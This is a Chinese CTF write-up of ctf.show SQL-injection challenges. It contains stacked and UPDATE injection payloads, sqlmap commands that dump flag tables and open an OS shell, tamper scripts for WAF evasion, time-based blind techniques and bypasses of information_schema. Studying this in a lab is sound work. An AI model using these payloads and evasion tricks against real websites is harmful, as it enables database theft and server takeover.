ALTER TABLE命令还可以添加和删除表中的各种约束。
payload:
1 | usernanme=1 |
web198
#insert插入数据进行堆叠注入
这里去掉了对表的一些删除和添加操作,应该又是学习新方法了
这里我们用insert去插入数据
payload:
1 | username=0;insert ctfshow_user(`username`,`pass`) value(1,2) |
然后再进行登录就可以了
web199
这道题多过滤了一个括号符号,前面的方法走不通
然后我发现了一个前几道题都能用的方法
方法一:show tables
利用show
。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables
,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。
1 | username=0;show tables |
方法二:列名互换
本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。
1 | 0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text; |
这里的话是实现了一个列名互换,将username和pass互换,然后因为我们已知默认用户名为userAUTO,所以我们可以用这个作为我们的password去登录,这样就可以登录成功了
(这个方法我没打通,不知道是不是应该爆破我们的username,用0并不能匹配我们的用户名)
web200
多过滤了个逗号,但不影响我们上一题的做法
练习sqlmap
web201
#设置UA头和referer头
这里的话是需要我们学习sqlmap 的语法和使用
1 | 使用--user-agent 指定agent |
我们先拿第一题来具体学习一下注入过程和sqlmap的使用顺序
注入过程
- 判断是否存在sql注入漏洞
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
然后我们来分析一下测试过程的一些询问和内容
我们分析里面主要的内容
1 | [23:23:58] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable |
1 | GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y |
这里的话其实就是和英语翻译是一样的,理解了每句话的意思然后做出需要的选择,就可以了
- 获取所有数据库名字
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –dbs –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
找到数据库名了,显然第一个就是我们需要的数据库
- 获取当前数据库名
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –current-db –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
和我们想的是一样的
- 获取数据库下的数据表
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web –tables –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
- 获取表下的列名
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user –columns –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
- 导出数据
python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user -C pass –dump –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
然后就拿到我们的flag了
sqlmap基于GET传参的注入
1.测试注入点以及是否存在注入
python3 sqlmap.py -u [url+参数]
2.爆出所有数据库
pyhton3 sqlmap.py -u [url+参数] –dbs
3.爆出当前使用的数据库
python3 sqlmap.py -u [url+参数] –current-db
4.爆出当前数据库下的表名
python3 sqlmap.py -u [url+参数] -D [数据库名] –tables
5.爆出所有表的字段名
python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] –columns
6.爆出字段中的数据
python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] -C [字段名] –dump
关于UA头的设置和referer的设置
–user-agent sqlmap
User-Agent
头通常由浏览器或其他客户端软件发送,用于标识请求的来源设备和软件,通过设置--user-agent
,可以模拟特定的浏览器或客户端类型,某些网站可能会阻止来自已知爬虫或自动化工具(如 sqlmap)的请求。通过伪造User-Agent
,可以绕过这些安全检查
–referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
- 伪造
Referer
头可以用于模拟来自特定页面或来源的请求,一些网站可能会检查Referer
头,以确保请求来源于允许的页面。如果没有合适的Referer
,网站可能会拒绝请求或返回不同的内容。伪造Referer
头可以帮助绕过这些安全机制。通过设置特定的Referer
头,攻击者可以让目标网站认为请求是来自合法用户的正常操作。这有助于隐藏攻击行为。
1 | --user-agent sqlmap --referer ctf.show这样也是可以的,只要来源是ctf.show就可以了 |
web202
#–data参数
POST注入的方式
sqlmap.py -r 请求包text文件 -p 指定的参数 –tables
sqlmap.py -u url –forms 自动判断注入
sqlmap.py -u url –data=”指定参数”
–data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。
直接给payload了
1 | python3 sqlmap.py -u http://fd2e4296-abd1-4a84-b9c1-c24262dea2a6.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump |
web203
#–method参数
–method=”xxx” 强制使用给定的HTTP方法(例如:PUT)
使用–method=”PUT”时,需要加上 –headers=”Content-Type: text/plain” 否则是按表单提交的,put接收不到
payload
1 | python3 sqlmap.py -u http://86ffe7af-f118-4848-8a4c-09b410298b56.challenge.ctf.show:8080/api/index.php --method="put" --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump |
web204
#–cookie参数
设置cookie可以通过后台对cookie的验证
sqlmap.php文件中响应标头中的set-cookie和请求标头中的PHPSESSID都需要客户端在下一次请求时发送给服务端
payload
1 | python3 sqlmap.py -u http://62ab32f3-d46b-4b44-a4b8-fea51589800d.challenge.ctf.show/api/index.php --method="put" --data="id=1" --user-agent sqlmap --referer ctf.show -headers="content-type:text/plain" --cookie="PHPSESSID=je3ssbqgn68psi3q1qa6fjcmbc;ctfshow=cc417a7da6909d583d4e0846fd9d4c5f" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump |
sqlmap 将使用这个 Cookie 进行请求。
web205
#–safe安全设置
抓包发现在请求index.php之前还会请求一次getToken.php
所以我们–safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 –safe-preq=1 表示访问 api/getToken.php 一次
1 | --safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下 |
--safe-url=SAFEURL
参数用于指定一个安全的 URL
主要功能
- 安全性:通过指定一个安全 URL,用户可以确保在测试期间,sqlmap 不会对敏感或关键的生产环境数据进行操作。
- 蜜罐检测:如果 sqlmap 发现某个请求被认为是危险的,它会将该请求重定向到用户指定的安全 URL,而不是执行原来的操作。这有助于减少对目标系统的风险。
- 调试和验证:在进行渗透测试时,使用安全 URL 可以帮助测试人员验证他们的请求是否正常工作,而不会对目标系统造成影响。
--safe-freq=SAFE
是 sqlmap 中的一个参数,用于设置安全请求的频率限制。这个参数主要用于控制 sqlmap 在执行 SQL 注入测试时发送请求的速率
主要功能
- 频率控制:通过设置请求的频率,用户可以控制 sqlmap 每秒发送的请求数量。这有助于在进行渗透测试时,减少对目标服务的压力。
- 规避检测:调低请求频率可以帮助测试者更好地规避目标网站的安全检测机制,降低被识别为攻击行为的风险。
- 保护目标:对目标系统友好的测试可以减少对系统性能的影响,特别是在生产环境中进行渗透测试时,确保不会干扰正常用户的使用。
payload
1 | python3 sqlmap.py -u http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method="put" --data="id=1" --headers="content-type:text/plain" --cookie="PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url="http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump |
web206
#注入payload闭合
这里看到sql语句发生了变化,出现了括号,不过sqlmap能自动进行闭合操作
那payload 是不变的
1 | python3 sqlmap.py -u https://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method="put" --data="id=1" --headers="content-type:text/plain" --cookie="PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url="http://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump |
需要设置参数的话可以设置参数
1 | --prefix=PREFIX 注入payload字符串前缀 |
web207
#space2comment.py绕过空格
tamper的话就是sqlmap自带的绕过脚本,在sqlmap目录下的tamper文件夹中
可以使用--identify-waf
对一些网站是否有安全防护进行试探,那我们返回来看题目,题目中是过滤了空格的,那我们看看那个脚本可以绕过空格绕过
space2comment.py
1 | #!/usr/bin/env python |
该脚本的主要作用是将 SQL 查询中的空格替换为 SQL 注释
这里可以看到会用/**/去替代我们的空格
那我们就用这个去打就能绕过空格了
1 | python3 sqlmap.py -u http://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers="Content-Type:text/plain" --safe-url=http://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py |
常用的tamper脚本
1 | base64encode.py:对 payload 进行 Base64 编码。可以帮助绕过某些过滤器。 |
web208
#randomcase.py绕过关键字
这里对select和空格都进行了过滤,那就还得用别的脚本了,这里我们用randomcase.py
randomcase.py
1 | !/usr/bin/env python |
该脚本的作用是将 SQL 注入 payload 中的字母随机大小写混合,有助于绕过一些简单的大小写敏感过滤。
payload
1 | python3 sqlmap.py -u http://de1a8bb8-85b2-42dc-89f8-8e2290303ac7.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=h4dcnkdl0hd2on1l3p6gnhlefb;" --headers="Content-Type:text/plain" --safe-url=https://de1a8bb8-85b2-42dc-89f8-8e2290303ac7.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump |
web209
#绕过/*/空格/=/的tamper
好像过滤更多字符了,*号也被过滤了,那我们的space2comment.py脚本用不了了,但是我们可以自己写个tamper脚本,把原先的space2comment.py里面的替换字符串换成可以绕过空格验证的,然后再加上绕过=等于号的条件就可以了
修改后的脚本
1 | #!/usr/bin/env python |
payload
1 | python3 sqlmap.py -u http://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers="Content-Type:text/plain" --safe-url=http://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=tamper/web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump |
web210
#反转+base64编码的tamper
照着waf去写tamper就可以了
1 | #!/usr/bin/env python |
那我们的payload就是
1 | python3 sqlmap.py -u http://057ed506-470f-4399-877a-5a8c3b55f2ab.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=eioqv5apahcu216l07msg1bmvo;" --headers="Content-Type:text/plain" --safe-url=http://057ed506-470f-4399-877a-5a8c3b55f2ab.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=web210.py --batch -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump |
web211
#反转+base64编码+绕过空格
没啥难度,要啥就写啥
1 | python3 sqlmap.py -u http://9bb4866c-81b4-470f-a589-7d96100eef9c.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=0kfnfjjphjp8ut8lnqv0scscq6;" --headers="Content-Type:text/plain" --safe-url=http://9bb4866c-81b4-470f-a589-7d96100eef9c.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=web211.py |
tamper
1 | #!/usr/bin/env python |
web212
#211plus版tamper
就是前几个脚本waf的集合
1 | #!/usr/bin/env python |
payload
1 | python3 sqlmap.py -u http://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/api/index.php --method="PUT" --data="id=1" --user-agent=sqlmap --referer="http://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/sqlmap.php" --cookie="PHPSESSID=urnvf6582lubt0pjrr5sk518q2;" --header="Content-Type:text/plain" --safe-url=https://afdc1158-aee3-4928-857b-b78e71ff6d88.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=web212.py --batch -D ctfshow_web -T ctfshow_flavis --dump |
web213
考的是用–os-shell参数去getshell
os-shell的使用条件
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
payload
1 | python3 sqlmap.py -u "https://a58afa16-b03f-4cca-869b-640aca35b94d.challenge.ctf.show/api/index.php" --safe-url="https://a58afa16-b03f-4cca-869b-640aca35b94d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method=PUT --data "id=1" --header=Content-Type:text/plain --user-agent=sqlmap --cookie="PHPSESSID=u1193e84h0fp64kqv00rd6ubt5" --tamper=web212.py --referer=ctf.show --os-shell |
选择服务器类型
- ASP (Active Server Pages): 一种由微软开发的服务器端脚本技术,允许开发者在网页中嵌入 VBScript 或 JScript 代码。
- ASPX: 是 ASP.NET 的页面文件扩展名,ASP.NET 是微软的一个Web开发框架,支持多种编程语言(如 C# 和 VB.NET),用于创建动态网页和Web应用程序。
- JSP (JavaServer Pages): 一个由 Java 提供支持的技术,允许在 HTML 页面中嵌入 Java 代码,以生成动态内容。
- PHP: 一种广泛使用的开源脚本语言,主要用于Web开发,允许开发者将代码嵌入到HTML中。它是您提到的默认语言。
时间盲注
web214
#无过滤数字型盲注
没有查询语句,没有返回逻辑,也不知道参数是啥,只能进行黑盒测试,后面通过api/index.php测了几次还是找不到注入点,看了wp才知道注入点可以通过猫那个页面的select.js响应找到该页面,采用 post 请求 /api/index.php
需要POST传入一个debug和ip两个参数,那我们分别传一个1试一下
出来了,ip是查询语句中的参数,那我们对ip进行测试一下
1 | debug=1&ip=1 or sleep(4)# |
页面出现延迟4s左右,且页面并没有什么回显信息,可以判断为时间盲注,那我们先手工试一下
1 | debug=1&ip=1 or if(length(database())>1,sleep(4),sleep(2))# |
长度肯定会超过1,所以响应延迟4s左右,那我们直接上脚本(常规第一次会写的详细一点)
爆数据库
1 | import time |
爆表名
1 | import time |
爆列名
1 | import time |
爆数据
1 | import time |
web215
#字符型盲注
后来问了师傅,才知道为什么注入点在猫的那个页面有POST请求,其实我们是可以用dirsearch扫目录去找的
这里可以看到http状态码是200的只有api接口和time.php,那注入点就是在这两个页面里,回答完了我们继续看题
加了单引号,那就是字符型的注入了
payload
1 | debug=1&ip=1' or if(ascii(substr(database(),{i},1))='{j}',sleep(4),1)# |
后面的自己按着214改就行
web216
#括号闭合
没什么好说的,用括号把前面的base64编码函数闭合然后进行盲注就可以了
payload
1 | debug=1&ip=1) or if(ascii(substr((select flagaac ctfshow_web.ctfshow_flagxcc),{i},1))='{j}',sleep(4),1)# |
web217
#绕过sleep函数
时间盲注sleep被ban怎么办?我们可以用benchmark()函数
BENCHMARK()
是一个在 MySQL 中用于性能测试的函数,BENCHMARK()
会重复执行一个表达式指定的次数,并返回 0。如SELECT BENCHMARK(1000000, MD5(‘test’));
会计算10000000次md5(‘test’),BENCHMARK
函数将重复执行 MD5('test')
一百万次。虽然 BENCHMARK()
本身只返回 0,但通过测量整个查询的执行时间,用户可以了解计算 MD5('test')
一百万次所需的大致时间。因为次数很多所以就会产生延时,但这种方法对服务器会对产生很大的负荷,容易把服务器跑崩,如果崩掉的话就把time.sleep的值改大点,除了md5还可以使用其他函数,比如:
1 | benchmark(1000000,encode("hello","good")); |
但是我也是第一次用benchmark进行时间盲注,也是第一次感受到了这个玩意贼耗时间,它非常容易受网速还有服务器那边的响应的影响,然后我们换一下函数就可以了,这里也是括号闭合的(但是这里要注意我们的时间差要设置的比较麻烦,得根据具体情况来看,而且容易出错,我这里设置的2秒)
payload
1 | import time |
不得不说这个时间确实不太稳定,后面把benchmark的次数改多了才超过了2s的时间
web218
#笛卡尔积盲注和RLIKE盲注
这次sleep函数和benchmark函数都被过滤了,试了一下双写绕过不去,只能看看其他的路子了
笛卡尔积盲注,其实这道题的预期解应该是用rlike盲注的,但是我先学的这个所以先拿这个解的,那我们就先放这个方法
我们先进行测试
1 | debug=1&ip=) or if(length(database())>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)# |
看看页面延迟大概0.2秒往上走
那我们试一下脚本
1 | import time |
起初是放三个查询的,但是到99也就是c的时候就卡死了,我后来又减掉了一次查询,把时间缩短一点,不断测试,然后才成功打出来
这里可以看到大概是0.88ms感觉这个笛卡尔积盲注对环境要求还是蛮高的,不建议用
那我们来学一下RLIKE盲注
update
先来简单介绍一下update的一些前置知识点(详细内容移步深入浅出sql篇)
UPDATE 语句用于更新表中已存在的记录。
update语句
1 | UPDATE table_name |
参数说明:
- table_name:要修改的表名称。
- **column1, column2, …**:要修改的字段名称,可以为多个字段。
- **value1, value2, …**:要修改的值,可以为多个值。
- condition:修改条件,用于指定哪些数据要修改。
WHERE 子句规定哪条记录或者哪些记录需要更新。如果您省略了 WHERE 子句,所有的记录都将被更新
web231
#无过滤的update注入
payload
1.闭合单引号
1 | //查库名、闭合引号 |
把前面的单引号闭合,又把后面的单引号注释掉,通过username去进行注入,尝试得到数据库名
注意这里的url是去掉update.php加上api的地址
1 | password=1',username=(select group_concat(table_name)from information_schema.tables where table_schema=database());#&username=1 //查询表名 |
1 | password=1',username=(select group_concat(column_name)from information_schema.columns where table_name='flaga');#&username=1 //查询列名 |
看到疑似flag的内容了,继续跟进
1 | password=1',username=(select flagas from ctfshow_web.flaga);#&username=1 |
一开始我是直接想对password进行注入的,但是没打出来
1 | password=database();#&username=1 |
后来猜测应该是单引号的问题,单引号把包裹的查询语句当成字符串去处理了,所以里面的查询语句并不会执行
这里还可以用布尔盲注去打,但是注入点还是在username,我就只贴payload了
2.布尔盲注
1 | password=1&username=1' or if((ascii(substr((select flagas from flaga),{i},1))='{j}'),true,false);# |
web232
#md5处理
无过滤,但是查询语句多了md5处理,我们把md5函数的括号进行闭合然后进行注入就可以了
payload
1 | password=1'),username=(select group_concat(table_name)from information_schema.tables where table_schema=database());#&username=111 |
然后逐步进行注入就可以了
当然用231的盲注也是可以的
web233
#过滤单引号
题目和231写的一样是无过滤,但是231的payload打不通,换了注释符也显示查询失败,猜测是单引号被过滤了,还有一个思路就是转义单引号使得单引号逃逸
1.转义字符逃逸
payload
1 | password=\&username=,username=database();# |
通过反斜杠将单引号转义,回显是这样的
放到UPDATE语句中就是
1 | $sql = "update ctfshow_user set pass = '\' where username = ',username=database();#';"; |
可以看到,我们pass的前一个单引号并不跟反斜杠后的单引号闭合,而是跟username的前一个单引号进行闭合,然后我们再将后面的单引号注释掉,就可以成功进行update的一个注入,也说明转义字符是可以成功逃逸单引号的
另外,时间盲注也是可以打的,但是我设置的sleep(5)的时候发现容器睡死了,我以为是打不了,后面看wp才知道把sleep设置的短一点就可以了
2.时间盲注
这里直接给payload和脚本了
payload
1 | password=1&username=1' or sleep(0.2)# |
时间盲注脚本
1 | import requests |
但是我的username中有单引号但是能打通,猜测这个过滤应该是对于password的一个单引号过滤
web234
#过滤单引号plus
和233不同的是234的username单引号也被过滤了,所以盲注打不通,但是我们可以通过转义字符使单引号逃逸去进行注入
转义字符逃逸
payload
1 | password=\&username=,username=(select flagass23s3 from ctfshow_web.flag23a);# |
web235
#Bypass information_schema新姿势
#无列名注入
题目这次写明了过滤了or和’单引号,本来以为能拿上一题的payload打的,但是我们的information_shcema中有or,用大小写和双写都绕不过去,后来看到一个做法就是Bypass information_schema+无列名注入
1.Bypass information_schema
sql注入一般都会用到information_schema库,这是mysql自带的库,我们先来了解一下这个库的表有哪些
可以看到这个库中的表很多啊,我们只挑平时比较常见的去进行讲解
information_schema库中的表
TABLES
- 内容:包含所有数据库中的表的相关信息。
- 主要字段
TABLE_SCHEMA
:数据库名TABLE_NAME
:表名TABLE_TYPE
:表的类型(例如,BASE TABLE 或 VIEW)ENGINE
:表使用的存储引擎VERSION
:表的版本号ROW_FORMAT
:行格式(例如,COMPACT)
COLUMNS
- 内容:包含有关数据库中所有列的信息。
- 主要字段
TABLE_SCHEMA
:数据库名TABLE_NAME
:表名COLUMN_NAME
:列名ORDINAL_POSITION
:列的位置COLUMN_DEFAULT
:列的默认值IS_NULLABLE
:列是否可以为 NULLDATA_TYPE
:列的数据类型
SCHEMATA
- 内容:包含所有数据库(模式)的信息。
- 主要字段
CATALOG_NAME
:目录名SCHEMA_NAME
:数据库名DEFAULT_CHARACTER_SET_NAME
:默认字符集DEFAULT_COLLATION_NAME
:默认排序规则SQL_PATH
:SQL 路径
先放这三个,后面学到新的之后再回来补充,接下来我们讲另一个知识点
InnoDb引擎
mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表,这两张表就是我们bypass information_schema的第一步,也是获取数据库名和表名的另一种思路
这两张表记录了数据库和表的信息,但是没有列名,sql语句就是
1 | select group_concat(database_name) from mysql.innodb_index_stats; |
另外还有一个就是sys库
sys库
sys
库是一个提供系统信息和数据库监控的虚拟数据库。它是一个更高级别的视图,旨在简化对 MySQL 服务器性能和配置的查询。sys
库中的表和视图主要用于提供有关服务器状态、性能和其他实用信息的便利视图。
sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。
1 | # 查询数据库 |
另外还有一种摘录到的
1 | #查询数据库名 |
同样的,这个sys库也是能用来查找表名和数据库名的
但是我们可以看到上述的innodb引擎和sys库都无法查到我们的列名,所以这时候就需要我们的无列名注入了
2.无列名注入
利用join和using进行无列名注入,通过join可建立两个表之间的内连接,我们对想要查询列名所在的表与其自身进行内连接,也就是INNER JOIN。
INNER JOIN
INNER JOIN 返回两个表中满足连接条件的匹配行
语法
1 | SELECT column1, column2, ... |
参数说明:
column1
,column2
, … 是你要选择的列的名称,如果使用*
表示选择所有列。table1
,table2
是要连接的两个表的名称。table1.column_name = table2.column_name
是连接条件,指定了两个表中用于匹配的列。
然后我们的using呢,就是用来表示我们用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段
所以我们无列名注入的思路就是:利用join合并同一个表,报错重复的列名,再利用usinig去爆出所有的列名